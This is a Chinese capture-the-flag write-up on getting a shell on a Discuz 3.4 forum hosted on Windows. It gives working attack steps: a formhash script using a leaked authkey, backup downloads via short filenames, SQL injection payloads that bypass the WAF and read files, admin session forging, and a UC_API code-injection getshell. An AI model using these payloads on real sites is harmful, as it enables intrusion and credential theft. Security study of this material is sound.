原标题:空指针Base on windows Writeup

周末看了一下这次空指针的第三次Web公开赛,稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的环境,我们需要在这样一份几乎真实环境下的DZ中完成Get shell。这一下子提起了我的兴趣,接下来我们就一起梳理下这个渗透过程。

与默认环境的区别是,我们这次拥有两个额外的条件。

1、Web环境的后端为Windows

2、我们获得了一份config文件,里面有最重要的authkey

得到这两个条件之后,我们开始这次的渗透过程。

以下可能会多次提到的出题人写的DZ漏洞整理

这是一篇“不一样”的真实渗透测试案例分析文章authkey有什么用? / ------------------------- CONFIG SECURITY -------------------------- // $_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';

authkey是DZ安全体系里最重要的主密钥,在DZ本体中,涉及到密钥相关的,基本都是用authkey和cookie中的saltkey加密构造的。

当我们拥有了这个authkey之后,我们可以计算DZ本体各类操作相关的formhash(DZ所有POST相关的操作都需要计算formhash)

配合authkey,我们可以配合source/include/misc/misc_emailcheck.php中的修改注册邮箱项来修改任意用户绑定的邮箱,但管理员不能使用修改找回密码的api。

可以用下面的脚本计算formhash

$username = "ddog"; $uid = 51; $saltkey = "SuPq5mmP"; $config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E"; $authkey = md5($config_authkey.$saltkey); $formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);

当我们发现光靠authkey没办法进一步渗透的时候,我们把目标转回到hint上。

1、Web环境的后端为Windows

2、dz有正常的备份数据,备份数据里有重要的key值windows短文件名安全问题

在2019年8月,dz曾爆出过这样一个问题。

windows短文件名安全问题 数据库备份爆破

在windows环境下,有许多特殊的有关通配符类型的文件名展示方法,其中不仅仅有 <>”这类可以做通配符的符号,还有类似于~的省略写法。这个问题由于问题的根在服务端,所以cms无法修复,所以这也就成了一个长久的问题存在。

具体的细节可以参考下面这篇文章:

Windows下的”你画我猜” — 告别效率低下的目录扫描方法

配合这两篇文章,我们可以直接去读数据库的备份文件,这个备份文件存在

/data/backup_xxxxxx/200509_xxxxxx-1.sql

我们可以直接用

http://xxxxx/data/backup~1/200507~2.sql

拿到数据库文件

从数据库文件中,我们可以找到UC_KEY(dz)

在pre_ucenter_applications的authkey字段找到UC_KEY(dz)

至此我们得到了两个信息:

uckey x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5 authkey 87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E

当我们有了这两个key之后,我们可以直接调用uc_client的uc.php任意api。,后面的进一步利用也是建立在这个基础上。

uc.php api 利用

这里我们主要关注/api/uc.php

通过UC_KEY来计算code,然后通过authkey计算formhash,我们就可以调用当前api下的任意函数,而在这个api下有几个比较重要的操作。

我们先把目光集中到updateapps上来,这个函数的特殊之处在于由于DZ直接使用preg_replace替换了UC_API,可以导致后台的getshell。

具体详细分析可以看,这个漏洞最初来自于@dawu,我在CSS上的演讲中提到过这个后台getshell:

根据这里的操作,我们可以构造$code = ‘time=’.time.’&action=updateapps’;

来触发updateapps,可以修改配置中的UC_API,但是在之前的某一个版本更新中,这里加入了条件限制。

if($post['UC_API']) { $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']); unset($post['UC_API']); }

由于过滤了单引号,导致我们注入的uc api不能闭合引号,所以单靠这里的api我们没办法完成getshell。

换言之,我们必须登录后台使用后台的修改功能,才能配合getshell。至此,我们的渗透目标改为如何进入后台。

如何进入DZ后台?

首先我们必须明白,DZ的前后台账户体系是分离的,包括uc api在内的多处功能,login都只能登录前台账户,

也就是说,进入DZ的后台的唯一办法就是必须知道DZ的后台密码,而这个密码是不能通过前台的忘记密码来修改的,所以我们需要寻找办法来修改密码。

这里主要有两种办法,也对应两种攻击思路:

1、配合报错注入的攻击链

2、使用数据库备份还原修改密码1、配合报错注入的攻击链

继续研究uc.php,我在renameuser中找到一个注入点。

function renameuser($get, $post) { global $_G; if(!API_RENAMEUSER) { return API_RETURN_FORBIDDEN; } $tables = array( 'common_block' => array('id' => 'uid', 'name' => 'username'), 'common_invite' => array('id' => 'fuid', 'name' => 'fusername'), 'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'), 'common_mytask' => array('id' => 'uid', 'name' => 'username'), 'common_report' => array('id' => 'uid', 'name' => 'username'), 'forum_thread' => array('id' => 'authorid', 'name' => 'author'), 'forum_activityapply' => array('id' => 'uid', 'name' => 'username'), 'forum_groupuser' => array('id' => 'uid', 'name' => 'username'), 'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'), 'forum_post' => array('id' => 'authorid', 'name' => 'author'), 'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'), 'forum_ratelog' => array('id' => 'uid', 'name' => 'username'), 'home_album' => array('id' => 'uid', 'name' => 'username'), 'home_blog' => array('id' => 'uid', 'name' => 'username'), 'home_clickuser' => array('id' => 'uid', 'name' => 'username'), 'home_docomment' => array('id' => 'uid', 'name' => 'username'), 'home_doing' => array('id' => 'uid', 'name' => 'username'), 'home_feed' => array('id' => 'uid', 'name' => 'username'), 'home_feed_app' => array('id' => 'uid', 'name' => 'username'), 'home_friend' => array('id' => 'fuid', 'name' => 'fusername'), 'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'), 'home_notification' => array('id' => 'authorid', 'name' => 'author'), 'home_pic' => array('id' => 'uid', 'name' => 'username'), 'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'), 'home_share' => array('id' => 'uid', 'name' => 'username'), 'home_show' => array('id' => 'uid', 'name' => 'username'), 'home_specialuser' => array('id' => 'uid', 'name' => 'username'), 'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'), 'portal_article_title' => array('id' => 'uid', 'name' => 'username'), 'portal_comment' => array('id' => 'uid', 'name' => 'username'), 'portal_topic' => array('id' => 'uid', 'name' => 'username'), 'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'), ); if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){ C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername])); } loadcache("posttableids"); if($_G['cache']['posttableids']) { foreach($_G['cache']['posttableids'] AS $tableid) { $tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author'); } } foreach($tables as $table => $conf) { DB::query("UPDATE ".DB::table($table)." SET `$conf[name]`='$get[newusername]' WHERE `$conf[id]`='$get[uid]'"); } return API_RETURN_SUCCEED; }

在函数的最下面,$get[newusername]被直接拼接进了update语句中。

但可惜的是,这里链接数据库默认使用mysqli,并不支持堆叠注入,所以我们没办法直接在这里执行update语句来更新密码,这里我们只能构造报错注入来获取数据。

$code = 'time='.time.'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';

这里值得注意的是,DZ自带的注入waf挺奇怪的,核心逻辑在

\source\class\discuz\discuz_database.php line 375 if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) { $clean = preg_replace("/'(.+?)'/s", '', $sql); } else { $len = strlen($sql); $mark = $clean = ''; for ($i = 0; $i < $len; $i++) { $str = $sql[$i]; switch ($str) { case '`': if(!$mark) { $mark = '`'; $clean .= $str; } elseif ($mark == '`') { $mark = ''; } break; case '\'': if (!$mark) { $mark = '\''; $clean .= $str; } elseif ($mark == '\'') { $mark = ''; } break; case '/': if (empty($mark) && $sql[$i + 1] == '*') { $mark = '/*'; $clean .= $mark; $i++; } elseif ($mark == '/*' && $sql[$i - 1] == '*') { $mark = ''; $clean .= '*'; } break; case '#': if (empty($mark)) { $mark = $str; $clean .= $str; } break; case "\n": if ($mark == '#' || $mark == '--') { $mark = ''; } break; case '-': if (empty($mark) && substr($sql, $i, 3) == '-- ') { $mark = '-- '; $clean .= $mark; } break; default: break; } $clean .= $mark ? '' : $str; } } if(strpos($clean, '@') !== false) { return '-3'; } $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean)); if (self::$config['afullnote']) { $clean = str_replace('/**/', '', $clean); } if (is_array(self::$config['dfunction'])) { foreach (self::$config['dfunction'] as $fun) { if (strpos($clean, $fun . '(') !== false) return '-1'; } } if (is_array(self::$config['daction'])) { foreach (self::$config['daction'] as $action) { if (strpos($clean, $action) !== false) return '-3'; } } if (self::$config['dlikehex'] && strpos($clean, 'like0x')) { return '-2'; } if (is_array(self::$config['dnote'])) { foreach (self::$config['dnote'] as $note) { if (strpos($clean, $note) !== false) return '-4'; } }

然后config中相关的配置为

$_config['security']['querysafe']['dfunction']['0'] = 'load_file'; $_config['security']['querysafe']['dfunction']['1'] = 'hex'; $_config['security']['querysafe']['dfunction']['2'] = 'substring'; $_config['security']['querysafe']['dfunction']['3'] = 'if'; $_config['security']['querysafe']['dfunction']['4'] = 'ord'; $_config['security']['querysafe']['dfunction']['5'] = 'char'; $_config['security']['querysafe']['daction']['0'] = '@'; $_config['security']['querysafe']['daction']['1'] = 'intooutfile'; $_config['security']['querysafe']['daction']['2'] = 'intodumpfile'; $_config['security']['querysafe']['daction']['3'] = 'unionselect'; $_config['security']['querysafe']['daction']['4'] = '(select'; $_config['security']['querysafe']['daction']['5'] = 'unionall'; $_config['security']['querysafe']['daction']['6'] = 'uniondistinct'; $_config['security']['querysafe']['dnote']['0'] = '/*'; $_config['security']['querysafe']['dnote']['1'] = '*/'; $_config['security']['querysafe']['dnote']['2'] = '#'; $_config['security']['querysafe']['dnote']['3'] = '--'; $_config['security']['querysafe']['dnote']['4'] = '"';

这道题目特殊的地方在于,他开启了afullnote

if (self::$config['afullnote']) { $clean = str_replace('/**/', '', $clean); }

由于/**/被替换为空,所以我们可以直接用前面的逻辑把select加入到这中间,之后被替换为空,就可以绕过这里的判断。

当我们得到一个报错注入之后,我们尝试读取文件内容,发现由于mysql是5.5.29,所以我们可以直接读取服务器上的任意文件。

$code = 'time='.time.'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';

思路走到这里出现了断层,因为我们没办法知道web路径在哪里,所以我们没办法直接读到web文件,这里我僵持了很久,最后还是因为第一个人做出题目后密码是弱密码,我直接查出来进了后台。

在事后回溯的过程中,发现还是有办法的,虽然说对于windows来说,web的路径很灵活,但是实际上对于集成环境来说,一般都安装在c盘下,而且一般人也不会去动服务端的路径。常见的windows集成环境主要有phpstudy和wamp,这两个路径分别为

- /wamp64/www/ - /phpstudy_pro/WWW/

找到相应的路径之后,我们可以读取\uc_server\data\config.inc.php得到uc server的UC_KEY.

之后我们可以直接调用/uc_server/api/dpbak.php中定义的

function sid_encode($username) { $ip = $this->onlineip; $agent = $_SERVER['HTTP_USER_AGENT']; $authkey = md5($ip.$agent.UC_KEY); $check = substr(md5($ip.$agent), 0, 8); return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800)); } function sid_decode($sid) { $ip = $this->onlineip; $agent = $_SERVER['HTTP_USER_AGENT']; $authkey = md5($ip.$agent.UC_KEY); $s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800); if(empty($s)) { return FALSE; } @list($username, $check) = explode("\t", $s); if($check == substr(md5($ip.$agent), 0, 8)) { return $username; } else { return FALSE; } }

构造管理员的sid来绕过权限验证,通过这种方式我们可以修改密码并登录后台。

2、使用数据库备份还原修改密码

事实上,当上一种攻击方式跟到uc server的UC_KEY时,就不难发现,在/uc_server/api/dbbak.php中有许多关于数据库备份与恢复的操作,这也是我之前没发现的点。

事实上,在/api/dbbak.php就有一模一样的代码和功能,而那个api只需要DZ的UC_KEY就可以操作,我们可以在前台找一个地方上传,然后调用备份恢复覆盖数据库文件,这样就可以修改管理员的密码。

后台getshell

登录了之后就比较简单了,首先

修改uc api 为

http://127.0.0.1/uc_server');phpinfo;//

然后使用预先准备poc更新uc api

这里返回11就可以了

写在最后

整道题目主要围绕的DZ的核心密钥安全体系,实际上除了在windows环境下,几乎没有其他的特异条件,再加上短文件名问题原因主要在服务端,我们很容易找到备份文件,在找到备份文件之后,我们可以直接从数据库获得最重要的authkey和uc key,接下来的渗透过程就顺理成章了。

从这篇文章中,你也可以窥得在不同情况下利用方式得拓展,配合原文阅读可以获得更多的思路。

REF

*本文作者:LoRexxar’@知道创宇404实验室,转载请注明来自FreeBuf.COM返回搜狐,查看更多

责任编辑:

php 空指针_空指针Base on windows Writeup相关推荐

  1. 空指针-Base on windows Writeup -- 最新版DZ3.4实战渗透

    周末看了一下这次空指针的第三次Web公开赛,稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的环境,我们需要在这样一份几乎真实环境下的DZ中完成Get shell.这一下子提起了我的兴趣,接下来我 ...

  2. xxl-job 执行结果是空_空指针,段错误,这场面试我栽倒在这里了!

    空指针,段错误,这场面试我栽倒在这里了! NULL在C/C++中的标准定义 NULL的标准定义 #if !defined(NULL) && defined(__NEEDS_NULL) ...

  3. C语言中的空指针、空指针常量、NULL 0

    C语言中的空指针.空指针常量.NULL & 0  本文转自: http://bbs.chinaunix.net/viewthread.php?tid=544415&extra=& ...

  4. pringboot 单元测试 空指针_单元测试中的 FIRST 原则

    单元测试(unit testing),是指对软件中的最小可测试单元进行检查和验证.进行单元测试,可以尽早地发现编写代码中错误,减少后期测试开销和维护成本,提高软件质量. 下文讲解写出好单元测试需要遵守 ...

  5. get方法报空指针_智能指针shared_ptr踩坑笔记

    平时写代码一直避免使用指针,但在某些场景下指针的使用还是有必要的.最近在项目中简单使用了一下智能指针(shared_ptr),结果踩了不少坑,差点就爬不出来了.痛定思痛抱着<Cpp Primer ...

  6. decode判断不为空拼接_空指针4月内部赛官方WP

    本次内部赛含WEB跟RE题目各一道,其中RE题目7人解出,WEB题目1人解出,恭喜以上选手. 下面放上本次内部赛的WP. RE题目由于前几次的空指针题目太难了,所以这次出了一道较为简单的题(要不然每次 ...

  7. java:数字转string 报空指针_《java基础》我踩过三元运算符的坑

    简单介绍 三元运算符(又称三目运算符)大家肯定肯定都使用过,我就简单介绍一下,不在赘述. 三元元素的格式:[条件控制语句] ? [表达式1] : [表达式2]. 优点: 一些简单的逻辑判断三元运算符可 ...

  8. 对象空指针_可选和对象:空指针救星!

    对象空指针 没有人喜欢空指针异常 ! 我们有办法摆脱它们吗? 也许 . . . 这篇文章中讨论了几种技术: 可选类型(Java 8中的新增功能) 对象类(旧的Java 7东西!) Java 8中的可选 ...

  9. java中避免空指针_在Java中避免空检查

    java中避免空指针 对于Java开发人员(从初级到专家)最糟糕的噩梦之一是空对象引用检查. 我很确定您已经看过几次这样的代码: public void addAddressToCustomer(Cu ...

最新文章

  1. IntelliJ中的main函数、for循环、System.out.println()快捷键
  2. 单网卡部署WEB+Mail+FTP+ISA服务器之四:局域网内部署FTP和winwebmail服务器
  3. matlab示波器显示部分,Matlab 示波器显示设置
  4. 【算法导论】学习笔记——第16章 贪心算法
  5. 人生苦短,我学python之python+selenium select下拉框
  6. Nuget 启用数据库迁移的时候一定要把包含DbContext的项目设为启动项目
  7. Qt学习笔记-Qt程序切换皮肤
  8. 数据库选项--自动更新统计
  9. python方法调用名字不一样怎么办_python如何通过实例方法名字调用方法
  10. Android实战技巧:ViewStub的应用
  11. c# 数组不能直接=,需要clone
  12. 原生 JavaScript 实现扫雷
  13. 豆瓣电影推荐系统(Ⅰ)ItemCF算法原理
  14. 我努力了18年,不是为了和你一起喝咖啡姐妹篇
  15. 关于在手机上注册Google账号
  16. 昨天疯传朋友圈的 Pony 马化腾的讲话,未来是全真互联网时代,又一场大洗牌即将开始...
  17. 史上最全recyclewView集合,下拉刷新,上拉加载,左滑删除,点击按钮滑动到指定位置
  18. 2022年行研行业研究报告
  19. 微信小程序服务器该如何选择
  20. linux系统登陆微信,在Deepin 20系统下实现电脑端登陆两个微信账号的方法

热门文章

  1. 员工对于公司流程的改进建议
  2. 利用计算机系统基础知识分析程序结果,计算机二级公共基础知识笔记
  3. 中国桥梁支座市场趋势报告、技术动态创新及市场预测
  4. Linux系统安装QQ最新版 2023-06-30
  5. uniapp小程序 使用cheerio处理网络请求拿到的dom数据
  6. java.lang.ClassCastException: class java.lang.Integer cannot be cast to class java.lang.String
  7. NVIDIA中文车牌识别系列-1” 在Jetson上用DeepStream识别中文车牌
  8. 【深入浅出强化学习-编程实战】 7 基于策略梯度的强化学习-Cartpole(小车倒立摆系统)
  9. MSCRM 2011 操作大全
  10. 简易txt转html